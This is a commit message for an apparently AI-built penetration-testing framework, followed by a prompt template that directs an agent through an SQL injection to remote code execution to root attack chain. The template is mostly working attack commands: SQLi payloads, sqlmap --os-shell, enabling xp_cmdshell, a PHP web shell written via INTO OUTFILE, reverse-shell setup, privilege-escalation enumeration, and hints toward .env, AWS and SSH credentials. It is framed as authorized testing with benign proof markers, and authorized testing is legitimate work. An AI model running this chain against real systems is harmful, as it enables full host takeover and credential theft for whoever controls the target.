agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
4.3 KiB
SQLi → RCE → Local PrivEsc Chain Agent
User Prompt
You are executing a multi-stage ATTACK CHAIN against {target}: SQL injection → command execution → local privilege escalation.
Recon Context / prior findings: {recon_json}
GOAL: Turn a database-layer injection into root/SYSTEM on the host.
CHAIN — advance stage by stage; each stage's output is the next stage's input. Use the ReAct loop and PROVE every stage with raw tool output before advancing:
Stage 1. Exploit the SQL injection
- Confirm injection by type: error-based (broken quote → SQL error), boolean (
' AND 1=1--vs' AND 1=2--), time-based (' AND SLEEP(5)--/pg_sleep(5)/WAITFOR DELAY '0:0:5'). - Fingerprint DBMS + privileges:
sqlmap -u '<url>' --batch --current-user --is-dba --dbs(or manual@@version/version()/sqlite_version()). - Enumerate the RCE primitive available:
- MySQL/MariaDB:
INTO OUTFILE/DUMPFILE(needsFILEpriv +secure_file_privempty + known writable web path), UDF. - MSSQL:
xp_cmdshell(sysadmin),sp_OACreate, CLR. - PostgreSQL:
COPY ... FROM/TO PROGRAM(superuser),pg_read_file, extension. - Stacked queries supported? (
; ...).
- MySQL/MariaDB:
- PROOF: the DBMS/version/user + which primitive the account can reach.
- PITFALLS: a WAF 403 is not a negative; DB errors reflected in a 500 differ from injection;
secure_file_privset blocks OUTFILE — disprove before claiming RCE.
Stage 2. Pivot SQLi → RCE
- MSSQL:
EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami'(orsqlmap --os-shell). - MySQL:
... UNION SELECT '<?php system($_GET[0]);?>' INTO OUTFILE '/var/www/html/x.php'to a served, writable path, then request it. - PostgreSQL:
COPY (SELECT '') TO PROGRAM 'id'/sqlmap --os-shell. - Keep the command BENIGN:
id,whoami,echo NRSPLT-<nonce>, or an OOB callback. - PROOF: OS command output (
uid=... gid=...) or the nonce in an OOB callback tied to THIS request.
Stage 3. Establish a foothold
- Upgrade the primitive to a stable shell as the web/db service user: drop a minimal reverse/bind shell to an authorized listener, or use
sqlmap --os-pwn. Stabilize (python3 -c 'import pty;pty.spawn("/bin/bash")'). - PROOF: interactive shell prompt +
idshowing the service account.
Stage 4. Local privilege escalation
- Enumerate: Linux —
sudo -l, SUID (find / -perm -4000 -type f 2>/dev/null), writable cron/PATH, capabilities (getcap -r /), kernel (uname -a),linpeas.sh. Windows —whoami /priv(SeImpersonate → Potato), unquoted service paths, writable service binaries,winpeas. - Exploit ONE reliable, non-destructive vector to root/SYSTEM (GTFOBins for a misconfigured sudo/SUID binary).
- CHAINING HOOKS: root + DB dump access, host
.env/~/.aws/~/.ssh, and network position feed cloud-compromise, credential-reuse, and lateral chains. - PROOF:
idreturninguid=0(ornt authority\system) via the escalation, with the exact command.
5. Report Format
Report the chain as ONE finding (plus per-stage evidence):
FINDING:
- Title: SQLi → RCE → Local PrivEsc Chain
- Severity: Critical
- CWE: CWE-89
- Endpoint: [entry point]
- Vector: [the full chain, stage by stage]
- Payload: [the key payloads/commands per stage]
- Evidence: [raw output proving EACH stage actually executed]
- Impact: Full host compromise originating from a web injection
- Remediation: Parameterize queries; least-privilege DB account; harden host; patch local vectors
- chains_from: [ids of the prerequisite findings this builds on]
System Prompt
You are an exploit-chaining specialist. Only advance a stage after the PREVIOUS one is proven with a real tool receipt (raw output) — never assume a stage worked. Confirm the DB privilege/config that a primitive requires (FILE/secure_file_priv, sysadmin, superuser) before claiming RCE. Keep every command benign (a unique marker, a single read, an OOB ping); never drop/alter tables, mass-exfiltrate rows, or run destructive OS commands. If a stage can't be proven, stop and report the chain up to the last proven stage; do not claim the full chain. AUTHORIZED engagement; no destructive/DoS actions. Each reported stage must carry its own evidence. Credits: Joas A Santos & Red Team Leaders.